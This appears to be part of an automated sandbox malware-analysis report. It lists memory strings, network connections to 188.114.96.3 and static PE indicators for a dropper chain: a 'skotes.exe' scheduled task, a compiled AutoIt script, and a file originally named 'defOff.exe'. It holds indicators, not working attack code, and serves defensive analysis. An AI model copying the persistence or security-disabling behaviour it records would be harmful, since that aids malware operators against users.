Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B99F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2883527671.0000009407104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2896578190.000000FFE7F3B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1748703561.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2630638421.00000000059FC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarPrefs.sys.mjsintervention-refresh-prof
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A355000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2905467211.000002297A355000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/J
Source: file.exe, 00000000.00000003.1748703561.00000000060C8000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2630638421.00000000059FC000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2839373883.000000000597B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.2896578190.000000FFE7F3B000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001B.00000002.2886744113.000000FFE0FBB000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2906389932.000002297A4E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/plugins-widevine-descriptionhttps://www.widevine.com/stageLangpacksForAppUp
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001B.00000002.2959641340.000002297F75B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.2971838030.0000022980F33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001B.00000002.2959641340.000002297F75B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2769539724.000001E01DC57000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784381792.0000022387E5A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2899285684.000002296E899000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001B.00000002.2901105924.0000022970451000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001B.00000002.2899285684.000002296E899000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdS
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdTake
Source: firefox.exe, 0000001B.00000002.2965275696.000002298061B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/accountrecordSyncedTabsTelemetrytoolkit/branding/accounts.ftl.panel-header
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comFirefoxViewNotificationManager
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.comLOAD_FLAGS_FORCE_ALLOW_COOKIES
Source: unknown Network traffic detected: HTTP traffic on port 57896 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57873 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57806
Source: unknown Network traffic detected: HTTP traffic on port 57770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57909 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57800
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57770
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57891
Source: unknown Network traffic detected: HTTP traffic on port 57834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 57899 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57817
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57852
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57896
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57899
Source: unknown Network traffic detected: HTTP traffic on port 57806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57911 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57909
Source: unknown Network traffic detected: HTTP traffic on port 57800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57907 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57852 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57907
Source: unknown Network traffic detected: HTTP traffic on port 57817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57902
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57789
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57873
Source: unknown Network traffic detected: HTTP traffic on port 57891 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57911
Source: unknown Network traffic detected: HTTP traffic on port 57778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57902 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57880 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57880
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57852 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57873 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57880 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57891 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57896 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57902 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57907 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57911 version: TLS 1.2

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: a8c7d2631f.exe, 0000000D.00000000.2729895172.00000000000F2000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_b2bfe950-6
Source: a8c7d2631f.exe, 0000000D.00000000.2729895172.00000000000F2000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_01578983-6
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name:
Source: 910S1Q63XQ87I6P4.exe.0.dr Static PE information: section name: .idata
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name:
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name: .idata
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr Static PE information: section name:
Source: skotes.exe.3.dr Static PE information: section name:
Source: skotes.exe.3.dr Static PE information: section name: .idata
Source: skotes.exe.3.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name:
Source: random[1].exe.8.dr Static PE information: section name: .idata
Source: 3e1d30d118.exe.8.dr Static PE information: section name:
Source: 3e1d30d118.exe.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: random[1].exe0.8.dr Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr Static PE information: section name: .idata
Source: random[1].exe0.8.dr Static PE information: section name:
Source: c077ee22d1.exe.8.dr Static PE information: section name:
Source: c077ee22d1.exe.8.dr Static PE information: section name: .rsrc
Source: c077ee22d1.exe.8.dr Static PE information: section name: .idata
Source: c077ee22d1.exe.8.dr Static PE information: section name:
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name:
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr Static PE information: section name: .idata
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name:
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name: .idata
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr Static PE information: section name:
PE file has a writeable .text section
Source: num[1].exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00A9E530 8_2_00A9E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AD78BB 8_2_00AD78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AD8860 8_2_00AD8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AD7049 8_2_00AD7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AD31A8 8_2_00AD31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00A94DE0 8_2_00A94DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AD2D10 8_2_00AD2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AD779B 8_2_00AD779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00A94B30 8_2_00A94B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 8_2_00AC7F36 8_2_00AC7F36
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Code function: 10_3_00C8EE5B 10_3_00C8EE5B
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000003.1859930129.0000000006343000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1852436689.0000000006244000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1860444712.0000000006342000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866117748.00000000064BD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1863415491.000000000636A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1856975945.0000000006337000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1857955463.000000000642E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1861095253.0000000006243000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850561167.000000000639C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1866464602.000000000624E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1853362409.00000000063C5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1851146095.0000000006244000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1858449455.0000000006332000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1849122584.00000000060AA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1865961250.000000000637F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1850909513.0000000006246000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1867731091.00000000064E1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1859377126.0000000006347000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
